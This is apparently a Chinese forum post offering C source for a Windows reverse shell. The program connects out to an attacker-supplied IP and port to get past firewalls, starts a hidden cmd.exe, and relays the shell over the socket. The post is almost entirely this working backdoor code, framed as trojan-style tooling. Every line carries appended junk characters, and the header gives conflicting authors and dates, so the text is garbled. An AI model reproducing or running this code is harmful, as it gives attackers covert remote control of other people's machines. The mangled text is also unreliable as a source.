这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1+6)0 OH{
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/* ============================== !C>}j* 4
Rebound port in Windows NT "{-jZdq'
By wind,2006/7 *{|{T_H:
===============================*/ mk#xbvvG
#include t.Hte/,k
#include {w*5uI%%e
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#pragma comment(lib,"wsock32.lib") I_66q7U"0
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void OutputShell(); M]PH1 2Ob
SOCKET sClient; "@IrBi6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ng=XH"ce~
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void main(int argc,char **argv) #T_m|LN7
{ j?sq i9#
WSADATA stWsaData; '?Fw]z1$
int nRet; ]#>;C: L
SOCKADDR_IN stSaiClient,stSaiServer; 8$</HNu,
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if(argc != 3) eZ+pZ q
{ n<47#-
printf("Useage:\n\rRebound DestIP DestPort\n"); Bu4J8eLx
return; Eshc "U
} T0L h"_X3
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2L}F=$zz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <:=}1t.Z
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stSaiClient.sin_family = AF_INET; U_!Wg|
stSaiClient.sin_port = htons(0); Q
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LPr34BK
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \[</|]'[
{ #4uuT?!
printf("Bind Socket Failed!\n"); Sb@:ercC,
return; xW92ZuzSH
} FJ]BB4
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stSaiServer.sin_family = AF_INET; M(>" e*Pi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z3RD*3b
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U1zcJl^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oCD#Gmr
{ -90qG"@
printf("Connect Error!"); I75>$"$<
return; * N5cC#5`=
} !Yuu~|
OutputShell(); 7q_B`$ata
} n^Co
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void OutputShell() ?V6A:8t,
{ V'[Lqe,y
char szBuff[1024]; UuDs
SECURITY_ATTRIBUTES stSecurityAttributes; [k)xn3[
OSVERSIONINFO stOsversionInfo; 78'HE(*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w@ 1g_dy
STARTUPINFO stStartupInfo; C>\0
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char *szShell; d&mSoPf
PROCESS_INFORMATION stProcessInformation; " sh%8
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unsigned long lBytesRead; @lvvI<U
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |8,|>EyqK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; vFuf{ @P
stSecurityAttributes.bInheritHandle = TRUE; JBY`Y]V3
t;?M#I\,{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~fL:pVp
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 34k}7k~n
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U;%I"
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V5$J
stStartupInfo.wShowWindow = SW_HIDE; px `o.%`'
stStartupInfo.hStdInput = hReadPipe; +n#(QOz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ){ywk
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GetVersionEx(&stOsversionInfo); 0#K?SuY.eN
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switch(stOsversionInfo.dwPlatformId) ~hYTs
{ -Ucj|9+(a
case 1: >GR L5Iow
szShell = "command.com"; vAeh#V~#
break; )C
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default: *Ru@F:
szShell = "cmd.exe"; ;=.i+
break; rgth2y]
} }d<xbL!#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6Xu^cbD
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send(sClient,szMsg,77,0); {z":hmt
while(1) N
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{ &hciv\YT2W
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )HLe8:PG~
if(lBytesRead) ?`& l Y
{ [(%6]L}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >FrF"u:kM
send(sClient,szBuff,lBytesRead,0); +f#oij
} jlhyn0
else >MXE)=
{ h>s|MZQ:*
lBytesRead=recv(sClient,szBuff,1024,0); Qi&!Ub]
if(lBytesRead<=0) break; j/I^\Ms
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *hJ&7w ~
} #X~{p4Lr
} Kk?]z7s-4
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return; xR9<I:^&
}